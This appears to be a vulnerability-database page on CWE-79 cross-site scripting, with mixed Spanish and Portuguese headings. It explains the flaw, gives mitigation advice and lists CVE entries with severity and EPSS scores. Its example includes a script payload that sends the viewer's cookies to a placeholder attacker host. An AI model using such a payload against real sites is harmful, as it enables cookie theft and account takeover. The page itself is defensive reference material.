Fallos del tipo CWE-79

28.488 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-24899HIGHCross site scripting via canonical tagEPSS 4.5%CVE-2023-31703CRITICALCross Site Scripting (XSS) in the edit user form in Microworld Technologies eScan management console 14.0.1400.2281 allows remote attacker tEPSS 4.5%CVE-2021-24329—WP Super Cache < 1.7.3 - Authenticated Stored Cross-Site Scripting (XSS)EPSS 4.5%CVE-2022-32770CRITICALA cross-site scripting (xss) vulnerability exists in the footer alerts functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A sEPSS 4.4%CVE-2022-0750MEDIUMPhotoswipe Masonry Gallery <= 1.2.14 Stored Cross-Site ScriptingEPSS 4.4%CVE-2022-0210MEDIUMRandom Banner <= 4.1.4 Admin+ Stored Cross-Site ScriptingEPSS 4.4%CVE-2026-48320HIGHColdFusion | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 4.3%CVE-2022-32771CRITICALA cross-site scripting (xss) vulnerability exists in the footer alerts functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A sEPSS 4.2%CVE-2026-27822CRITICALRust has Critical Stored XSS in Preview Modal, leading to Administrative Account TakeoverEPSS 4.2%CVE-2025-68165MEDIUMIn JetBrains TeamCity before 2025.11 reflected XSS was possible on VCS Root setupEPSS 4.2%CVE-2025-52367MEDIUMCross Site Scripting vulnerability in PivotX CMS v.3.0.0 RC 3 allows a remote attacker to execute arbitrary code via the subtitle field.EPSS 4.1%CVE-2022-24384HIGHReflective XSS on SmarterTrack v100.0.8019.14010EPSS 4.1%CVE-2021-24581—Blue Admin <= 21.06.01 - CSRF to Stored Cross-Site Scripting (XSS)EPSS 4.1%CVE-2022-32533CRITICALApache Portals Jetspeed XSS, CSRF, SSRF, and XXE issuesEPSS 4.1%CVE-2025-8100MEDIUMElement Pack Elementor Addons and Templates <= 8.1.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via Open Street Map Widget Marker ContentEPSS 4.1%CVE-2021-27909MEDIUMXSS vulnerability on password reset pageEPSS 4.1%CVE-2023-23408MEDIUMAzure Apache Ambari Spoofing VulnerabilityEPSS 4.0%CVE-2022-39285HIGHStored Cross-Site Scripting Vulnerability In File Parameter in zoneminderEPSS 4.0%CVE-2021-28957MEDIUMAn XSS vulnerability was discovered in python-lxml's clean module versions before 4.6.3. When disabling the safe_attrs_only and forms argumeEPSS 4.0%CVE-2023-30868HIGHWordPress CMS Tree Page View Plugin <= 1.6.7 is vulnerable to Cross Site Scripting (XSS)EPSS 4.0%